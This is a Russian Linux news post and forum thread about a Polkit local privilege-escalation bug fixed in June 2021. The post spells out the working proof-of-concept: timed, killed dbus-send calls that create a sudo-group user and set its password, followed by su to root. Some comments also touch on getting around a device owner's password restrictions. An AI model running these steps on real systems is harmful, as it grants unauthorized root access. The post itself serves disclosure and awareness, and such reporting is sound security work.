LINUX.ORG.RU

Семилетний баг в Polkit, позволяющий получить права root

 , ,

Семилетний баг в Polkit, позволяющий получить права root

2

1

Участник GitHub Security Lab Kevin Backhouse обнаружил уязвимость в Polkit, которая впервые появилась семь лет назад в коммите bfa5036 и с версией 0.113 попала в некоторые дистрибутивы. Она позволяет непривилегированному локальному пользователю получить права root в системе, приложив для этого минимальные усилия. Уязвимости подвержены любые дистрибутивы с установленной версией Polkit 0.113 (или более поздней). Например, такие популярные, как RHEL 8 и Ubuntu 20.04. Уязвимость была устранена 3 июня 2021 года.

Как пишет Kevin Backhouse, уязвимость очень просто эксплуатируется, для этого достаточно простых инструментов: bash, kill, и dbus-send. Кроме них, для своей статьи (PoC exploit) он так же использовал accountsservice и gnome-control-center, которые можно найти на многих системах с GUI. Следует заметить, что accountsservice и gnome-control-center не содержат уязвимость и являются просто клиентами для Polkit.

Собственно уязвимость активируется с помощью команды dbus-send (т.е. простой отправки сообщения через шину D-Bus), которую нужно завершить во время, пока Polkit ещё обрабатывает запрос. Теоретически, можно нажать Ctrl + C на клавиатуре в нужный момент, однако Kevin Backhouse не смог продемонстрировать именно такой вариант.


Шаги* эксплуатации уязвимости из PoC exploit

Для начала нужно замерить время, которое требуется для нормального выполнения команды dbus-send:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Результат должен быть примерно таким:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

Вывод команды time показывает, что dbus-send была выполнена за 16 миллисекунд. Следовательно, для успешной эксплуатации команда dbus-send должна быть завершена примерно через 8 миллисекунд после запуска.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

Вероятно, что данный трюк удастся провернуть не с первого раза, поэтому может понадобится подобрать более подходящую задержку перед завершением dbus-send. Если время будет подобрано правильно и команда отработает успешно, то в системе появится новый пользователь boris входящий в группу sudo.
$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Далее необходимо задать пароль для пользователя boris. D-Bus интерфейс ожидает, что пароль будет передан в виде хеша, который легко получить с помощью openssl.
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Теперь следует провернуть аналогичный описанному выше трюк с командой dbus-send, за исключением используемого метода. На сей раз требуется метод SetPassword.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Как и в прошлый раз, вероятно потребуется несколько попыток и подбор значения задержки. Так же следует обратить внимание на идентификатор пользователя, который может отличаться от 1002 в примере.

Наконец можно получить привилегии пользователя root в системе:
su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

―――
* Шаги эксплуатации уязвимости приведены исключительно для ознакомления. Ни в коем случае не пытайтесь повторить их на системах принадлежащих не вам. Помните об ответственности!

P.S. Настоятельно рекомендуется выполнить обновление системы.

>>> Подробности

★★★★★

Проверено: xaizek ()
Последнее исправление: xaizek (всего исправлений: 10)
Ответ на: комментарий от fernandos

И четыре нуля.

У кого как.
У нас обычно 123 …

anonymous
()
Ответ на: комментарий от Croco

А ведь есть люди, которые спрашивают, по какой-такой причине с моей точки зрения dbus’у в системе не место.

ЛОЛ, а zlib в системе тоже не место по-твоему? А то я помню, как в 2002 году из-за уязвимости в ней половину системы пересобирали.

AP ★★★★★
()
Ответ на: комментарий от fernandos

про пароль известно только, то что в нём 5 символов. «admin» вводили в разном написании, нет. ещё всякое разное, но нет.

плохо, что терминал не «дозволен»

спросить_у_производителя

да, как это я сам не сообразил?! вдруг и правда помогут.

anonymous
()
Ответ на: комментарий от anonymous

а ничего, что он разрушает мне «уютненький мир» ) своими запросами, которые без прав рута не достичь – у него «пользователь» совсем ограничен, а я не волшебник.

anonymous
()
Ответ на: практика от anonymous

переустанови это как-то виндовенько… пароль сними, софтину удали…

anonymous
()
Ответ на: комментарий от anonymous

а ничего, что он разрушает мне «уютненький мир» ) своими запросами, которые без прав рута не достичь – у него «пользователь» совсем ограничен, а я не волшебник.

Ааааааа …
Это?
https://www.youtube.com/watch?v=pSkqmm--8jg Неприличными словами не выражаться!

anonymous
()
Ответ на: комментарий от Legioner

осталось только уговорить хозяина: grub скорее всего нет, видимо ядро прямо из UEFI стартует. так-то мне известно два общепринятых метода (о первом я уже говорил) преодоления этой «преграды». и думаю технически сложно не будет… только человек должен сам принять решение.

anonymous
()
Ответ на: комментарий от anonymous

Он его уже ведь принял …

Здесь похоже ситуация такова

Не трожь ..., ... не будет
anonymous
()
Ответ на: комментарий от anonymous

со времен он его поменяет, а пока пусть страдает

Пусть лучше будет все как есть, иначе потом другие проблемы появятся …

anonymous
()
Ответ на: комментарий от anonymous

Пусть лучше будет все как есть, иначе потом другие проблемы появятся …

У нас на работе админы решили из себя программистов изобразить. Мамия, ховайся кто может …

anonymous
()
Ответ на: комментарий от bhfq

А как же сертификаты ФСТЕК все такое? Неужели филькина грамота? Не может быть!

Тоже первая мысль была: а сертификационная проверка хоть один баг выловила из тех, что коммюнити прозевало?

Stalin ★★★★★
()
Ответ на: комментарий от anonymous

Шас спою

Ты ко мне не подходи  
Ты ко мне не подходи  
А я к тебе не подойду ...

Sorry.
Сегодня отдых, а завтра снова за работу …

anonymous
()
Ответ на: комментарий от Stalin

Уважаю Великого и Мудрого Вождя всех народов …
Как-то Серго /подпольная кличка Сталин/ сказал

Нет женщины, нет проблэм ...

Да ведь он прав!

anonymous
()

Типичная проблема опенсорса: выкукарекиваемые преимущества IRL никак не используются. Это уже не первый случай, когда в код можно написать хрень, и никто ее не ревьюит.

Конечно, в проприетарном софте дыры тоже могут фиксить годами. Однако в проприетарном софте дыры сложнее найти, и соответственно ими сложнее воспользоваться, они видны лишь при поведенческом анализе. В опенсорсе достаточно глянуть исходники чтобы понять как пользоваться дырой. Этот вариант более работоспособен чем экспериментальное тыкание проприетарщины.

windows10 ★★★★★
()
Ответ на: комментарий от Legioner

Как ты себе представляешь процесс сертификационной проверки, который выявит хоть один баг?

Ты слишком далеко зашел.

Начнем с того, какой смысл вообще в сертификационной проверке, если он не выявляет ни одного бага ?

Для каких практических задач нужен этот сертификат, и чем «сертифицированная» система лучше «несертифицированной» ?

Если с техническо точки зрения, сертификация не может выявить баг, то хоть может с юридической точки зрения после находки бага в сертифицированном ПО, сертификатор присядет на пяток ? Вроде тоже нет.

windows10 ★★★★★
()
Ответ на: комментарий от windows10

Конечно, в проприетарном софте дыры тоже могут фиксить годами.

За что купил, за то продал.
Microsoft не раз говорила о том, что они каждый год несколько миллиардов долларов тратят на латание дыр …

anonymous
()
Ответ на: комментарий от anonymous

Дыры есть везде.

Просто в проприетарном софте про них узнают быстрее, потому что эта дыра обнаруживается при работе. Если например какой-нибудь explorer.exe запускается с правами администратора после трех нажатий ctrl+alt+del - то вой поднимется на всю планету.

Другое дело, обнаружить дыру, читая листинг программы. Это на порядки проще, а вот обнаружить что обнаружена дыра - на порядки сложнее.

Вот у меня один из клиентских серваков, подцепил криптомайнер. Вроде бы подцепил, да и подцепил, одна из миллиона ситуаций. Но вот запущен он был под рутом, пароль на который знаю только я. Вполне ведь мог быть запущен благодаря такой уязвимости, а тот кто его поставил и запустил - запросто мог удалить следы своего визита на сервак.

windows10 ★★★★★
()
Ответ на: комментарий от windows10

Дыры есть везде.

Скорее всего и «не дырявый код» можно «задырявить» при желании …

anonymous
()
Ответ на: комментарий от dimgel

Только RUST заблобирован, вероятно с бэкдорами, которые умеют эскалации еще и похлеще?

Почему GUIX не может его разблобировать в современных версиях?

anonymous
()
Ответ на: комментарий от windows10

Начнем с того, какой смысл вообще в сертификационной проверке, если он не выявляет ни одного бага ?

Основной смысл - отсеять неугодных.

Для каких практических задач нужен этот сертификат

Когда у тебя есть тендер, сертифицирование ПО позволяет осуществить первичное отсеивание всяких «левых» товарищей.

Если с техническо точки зрения, сертификация не может выявить баг, то хоть может с юридической точки зрения после находки бага в сертифицированном ПО, сертификатор присядет на пяток ? Вроде тоже нет.

Нет, не присядет.

Я тебе предлагаю подумать над такими вопросами:

  • Сколько строк кода в дистрибутиве линукса (во всех пакетах суммарно). Включая всякие вспомогательные скрипты и прочее.
  • На каких языках написан этот код.
  • Сколько строк в час реально может проверить специалист.
  • Сколько стоит на рынке труда специалист, мнению которого можно было бы доверять.
  • Сколько специалистов и времени нужно для проверки дистрибутива линукса.
  • Сколько строк кода в обновлениях, например, за год.
  • Сколько времени нужно, чтобы проверить эти обновления.
  • Сколько будет стоить начальная проверка и последующая проверка всех обновлений.
  • Как поменяются ответы на предыдущие пункты, если за баги будут сажать.

И исходя из таких размышлений и оценок можно уже думать, что такое сертификация и какой в ней может быть смысл на практике.

Legioner ★★★★★
()
Последнее исправление: Legioner (всего исправлений: 2)
Ответ на: комментарий от Croco

А ведь есть люди, которые спрашивают, по какой-такой причине с моей точки зрения dbus’у в системе не место.

Открой список CVE ядра и беги скорей удалять /boot/vmlinuz.

anonymous
()
Ответ на: комментарий от Stanson

как раз системные свистелки и перделки сделанные ради хомячков

И как, например, без «свистелок» (udisk) работать с теми же флешками? Всем давать root права для монтирования и размонтирования?

ls-h ★★★★★
() автор топика
Ответ на: комментарий от bhfq

В регионах почти все компьютеры в гоструктурах кроме тех где деньги крутятся на пиратских вендах расскажи мне тут про уголовки.

Какая прелестная чушь.

Aceler ★★★★★
()
Ответ на: комментарий от Croco

по какой-такой причине с моей точки зрения dbus’у в системе не место.

Он, конечно, местами замудрён слишком... Но что ты предлагаешь вместо него? Да и проблема-то не в нём.

ls-h ★★★★★
() автор топика
Ответ на: комментарий от Legioner

Уязвимость - это возможность. А данный баг - это уязвимость. А вот с документированностью пусть бюрократия разбирается.

anonymous
()
Ответ на: комментарий от anonymous

то есть, она нежизнеспособна? а я-то уж за андроид боялся…

next_time ★★★★★
()
Ответ на: комментарий от anonymous

дело в том что безопасность легко приклеивается

Огонь, нет, огнище!

t184256 ★★★★★
()

Ну так js туда притащили ещё раньше, так что всё равно приходится старее ставить

mittorn ★★★★★
()
Ответ на: комментарий от ls-h

Как бэ с очень древних времён, когда ещё только появился udev флешки, MMC/SD/TF карточки и прочая блочная on-the-go тряхомудь которую можно втыкать и вытыкать в комп монтируется и размонтируется у меня полностью автоматически тупейшим скриптиком. Причём с sync, чтобы не приходилось ручками «приготавливать к извлечению». С группой и соответсвующими правами позволяющими юзерам читать, писать и удалять на них. В директорию ~/Desktop/имя_диска залогинившихся юзеров.

Зачем вообще этот udisks нужен? Какие root права? Зачем?

Stanson ★★★★★
()
Последнее исправление: Stanson (всего исправлений: 4)
Ответ на: комментарий от Zhbert

Ответь пожалуйста на вопрос, зачем ты в таких важных и интересных тредах пишешь бесполезные пустые комментарии?

anonymous
()
Ответ на: комментарий от annerleen

Это далеко не первый (и не последний) случай, когда stable полностью «пропускает» цикл внесения, существования и исправления критической уязвимости.

Как бы это не раздражало апологетов bleeding edge, заморозка — рабочий способ для достижения цели меньшей забагованности.

aidaho ★★★★★
()
Ответ на: комментарий от anonymous

сертификат как российский, так и зарубежный не дает 100% гарантии.

какэта? а гарантия, что распил и откат были? :-)

anonymous
()
Ответ на: комментарий от anonymous

Вызывается из правила udev

KERNEL=="sd[c-z][0-9]|sd[c-z]|mmcblk[0-9]|mmcblk[0-9]p[0-9]", RUN+="/etc/udev/usb-mount %k"

/etc/udev/usb-mount

#!/bin/sh -e

NAME=$1
DEV="/dev/${NAME}"
GROUP="plugdev"
DIR="Desktop"

if ret=`/sbin/blkid -o udev -p "${DEV}" 2>/dev/null` ; then
    eval $ret
else
    no_media=yes
fi

[ -n "${ID_FS_LABEL}" ] && label="${ID_FS_LABEL}"
[ -z "${label}" ] && label="${NAME}"

case "${ACTION}" in

    add)
        [ "${ID_FS_USAGE}" != "filesystem" ] && exit 0
        mount_options="noatime,sync"
        case "${ID_FS_TYPE}" in
            vfat|ntfs)
                gid=`getent group "${GROUP}" | cut -f3 -d:`
                mount_options="${mount_options},utf8,uid=0,gid=${gid},fmask=113,dmask=002,noexec"
                ;;
        esac
        for u in `groupmems -g "${GROUP}" -l` ; do
            h=`getent passwd "${u}" | cut -f6 -d:`
            mount_point="${h}/${DIR}/${label}"
            /bin/mkdir -p "${mount_point}"
            /bin/mount -o "${mount_options}" "$DEV" "${mount_point}"
        done
        ;;

    remove)
        dirs=`cat /proc/mounts | grep -w "${DEV}" | cut -d ' ' -f 2`
        for mount_point in ${dirs} ; do
            /bin/umount -l "${mount_point}"
            /bin/rmdir "${mount_point}"
        done
        ;;

    change)
        [ -z "${no_media}" ] && exit 0
        DEV=`ls $DEV[0-9]`
        for i in ${DEV} ; do
            dirs=`cat /proc/mounts | grep -w "${i}" | cut -d ' ' -f 2`
            for mount_point in ${dirs} ; do
                /bin/umount -l "${mount_point}"
                /bin/rmdir "${mount_point}"
            done
        done
        ;;

esac
Stanson ★★★★★
()
Последнее исправление: Stanson (всего исправлений: 1)
Ответ на: комментарий от Croco

А ведь есть люди, которые спрашивают, по какой-такой причине с моей точки зрения dbus’у в системе не место.

Да-да, «меня часто спрашивают» :-D :-D :-D

Стряхни апломб - ононимусы тебя троллят просто, неужели не раздупляешь?

zabbal ★★★★★
()
Ответ на: комментарий от Croco

Первое же действие после установки новой системы – поставить пароль root’у (если инсталлятор его не поставил), проверить, что работает, и снести sudo.

Вот поэтому и нельзя доверять установку системы ламерам. Они постоянно подобную ересь творят.

zabbal ★★★★★
()
Ответ на: комментарий от anonymous

Спасибо, добрый человек. Пусть тебе проститься один небольшой грех…

Спасибо ребята

Ваше шоу веселое и задорное!
anonymous
()
Ответ на: комментарий от anonymous

И сам тебе извинения приношу - ться -тся грех непростительный.

А мне то за что?
В диалоге в этом треде не участвовал …
Но на всякий случай

Прощаю тебя!
anonymous
()
Ответ на: комментарий от Stalin

а сертификационная проверка хоть один баг выловила

А с чего ты решил что сертификационая проверка баги ловит? Это тебя кто-то напарил или ты вообще темой не интересовался?

zabbal ★★★★★
()
Ответ на: комментарий от windows10

в проприетарном софте дыры сложнее найти, и соответственно ими сложнее воспользоваться

windows10 ★★ (12.06.21 23:09:20)

А вот и виндузятники со своей пропагандой подъехали. Я за бан - только мастдайных ботов нам тут не хватало.

zabbal ★★★★★
()
Ответ на: комментарий от zabbal

А вот и виндузятники со своей пропагандой подъехали. Я за бан - только мастдайных ботов нам тут не хватало.

Если ВСКУКАРЕКИ, то нехорошо, а если суждение «дельное», то почему бы и не обсудить …

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.